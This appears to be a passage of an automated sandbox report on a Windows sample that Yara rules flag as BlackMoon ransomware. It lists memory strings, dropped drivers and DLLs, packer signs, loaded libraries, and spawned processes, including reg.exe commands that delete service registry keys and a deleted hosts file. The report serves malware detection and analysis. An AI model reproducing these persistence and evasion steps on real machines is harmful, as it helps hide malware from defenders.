Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.xitongzhijia.net/
Source: F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.xm2m2.com
Source: F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.xm2m2.comwww.Askm2.comShanghai
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.xunlei.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.yiche.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.yidianzixun.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.youth.cn/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.yunzhijia.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.zhihu.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.zto.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xianggangcs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xiaoman.cn/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xinancs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xinics.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://xinjiapocs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://yanzheng.appchizi.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://youdao.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://zhangjiakoucs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://zhangjiakoucs.oss-accelerate.aliyuncs.com/http://wulancabucs.oss-accelerate.aliyuncs.com/http
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: https://User-Agent:Mozilla/5.0
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000003.00000003.2076822472.000001BDA80D0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: qmgr.db.3.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: F7BE15F582DD9.exe, 00000002.00000003.2125898422.000000000636A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cctv.com/
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sina.com.cn/
Source: F7BE15F582DD9.exe, 00000002.00000002.4572883601.000000000657C000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sogou.com/

Spam, unwanted Advertisements and Ransom Demands

Yara detected BlackMoon Ransomware

Source: Yara match	File source: 00000002.00000002.4602036796.000000000EAB2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F7BE15F582DD9.exe PID: 5580, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen

Detected VMProtect packer

Source: 8001IF88B.dll.2.dr

Static PE information: .vmp0 and .vmp1 section names

PE file has a writeable .text section

Source: 70ACtrsvy.dll.2.dr

Static PE information: Section: .text IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\1.exe	Memory allocated: 77030000 page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Memory allocated: 75F80000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory allocated: 77030000 page execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Memory allocated: 75F80000 page execute and read and write	Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

File created: C:\Windows\SysWOW64\A633favQv.sys

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\A633favQv.sys	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\F7BE15F.sys	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\4CE0zvyEH.sys	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\5942hcVWR.sys	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Registry key value created / modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Privacy

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

File deleted: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Code function: 2_2_6A04B440	2_2_6A04B440
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Code function: 2_2_6A04CA10	2_2_6A04CA10
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Code function: 2_2_6A084A68	2_2_6A084A68
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Code function: 2_2_6A04EAE0	2_2_6A04EAE0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Code function: 2_2_6A06AB00	2_2_6A06AB00

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe A0C15F709E1B80E93A61CBA414E266097DC8C23A7E8DE2B6DBE825CA2952DF7E
Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll 2A7469FE77A4659592FE7E2C36D32343B3C8E728BB52EAEDA0CAE03BC74EAAB5
Source: Joe Sandbox View	Dropped File: C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll 23A842D3EE1B7724999BE5C8676BE999294D63B9BB94492E6BB4C0FB1A0D1402

Source: 7D853zyts.dll.2.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: 50C7CA7B7.dll.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 70ACtrsvy.dll.2.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
Source: 70ACtrsvy.dll.2.dr	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped

Source: F7BE15F582DD9.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: 70ACtrsvy.dll.2.dr	Static PE information: Number of sections : 11 > 10

Source: 1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A633favQv /f

Source: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime

Source: 70ACtrsvy.dll.2.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: 70ACtrsvy.dll.2.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: F7BE15F582DD9.exe.0.dr	Static PE information: Section: 0DE ZLIB complexity 1.0002107998348018
Source: F7BE15F582DD9.exe.0.dr	Static PE information: Section: 10ta ZLIB complexity 1.0015345982142858
Source: 70ACtrsvy.dll.2.dr	Static PE information: Section: .data ZLIB complexity 0.9888200431034483
Source: 70ACtrsvy.dll.2.dr	Static PE information: Section: .reloc ZLIB complexity 0.999194995777027

Source: F7BE15F582DD9.exe, 00000002.00000002.4653510562.00000000105CC000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4622868714.000000000F0F4000.00000004.00000020.00020000.00000000.sdmp, 8001IF88B.dll.2.dr, A743A4x03.dll.2.dr

Binary or memory string: ...Slnt

Source: classification engine

Classification label: mal100.rans.spyw.evad.winEXE@11/36@93/37

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Code function: CreateServiceA,GetLastError,CloseServiceHandle,

2_2_6A048BA0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Code function: 2_2_6A064680 CreateToolhelp32Snapshot,Process32First,Process32Next,

2_2_6A064680

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Code function: 2_2_6A04BDB0 FindResourceA,

2_2_6A04BDB0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Code function: 2_2_6A048BE0 OpenSCManagerA,CloseServiceHandle,OpenServiceA,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

2_2_6A048BE0

Source: C:\Users\user\Desktop\1.exe

File created: C:\Program Files (x86)\mozilla maintenance service\F7BE15F582DD9.exe

Jump to behavior

Source: C:\Users\user\Desktop\1.exe

File created: C:\Users\user\Desktop\1.lnk

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4708:120:WilError_03

Source: C:\Users\user\Desktop\1.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7D853zyts.dll.2.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: 7D853zyts.dll.2.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 7D853zyts.dll.2.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: F7BE15F582DD9.exe, 00000002.00000002.4602036796.000000000EAB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM v
Source: 7D853zyts.dll.2.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: 7D853zyts.dll.2.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 7D853zyts.dll.2.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 7D853zyts.dll.2.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: 1.exe	ReversingLabs: Detection: 36%
Source: 1.exe	Virustotal: Detection: 28%

Source: C:\Users\user\Desktop\1.exe

File read: C:\Users\user\Desktop\1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1.exe "C:\Users\user\Desktop\1.exe"
Source: C:\Users\user\Desktop\1.exe	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe "C:\Program Files (x86)\mozilla maintenance service\F7BE15F582DD9.exe" WfCSiyl7KCmSL4J0fXwpklp7KYEqfR6S3zx7JntO
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A633favQv /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\4CE0zvyEH /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1.exe	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe "C:\Program Files (x86)\mozilla maintenance service\F7BE15F582DD9.exe" WfCSiyl7KCmSL4J0fXwpklp7KYEqfR6S3zx7JntO	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A633favQv /f	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\4CE0zvyEH /f	Jump to behavior

Source: C:\Users\user\Desktop\1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: secur32.dll	Jump to behavior
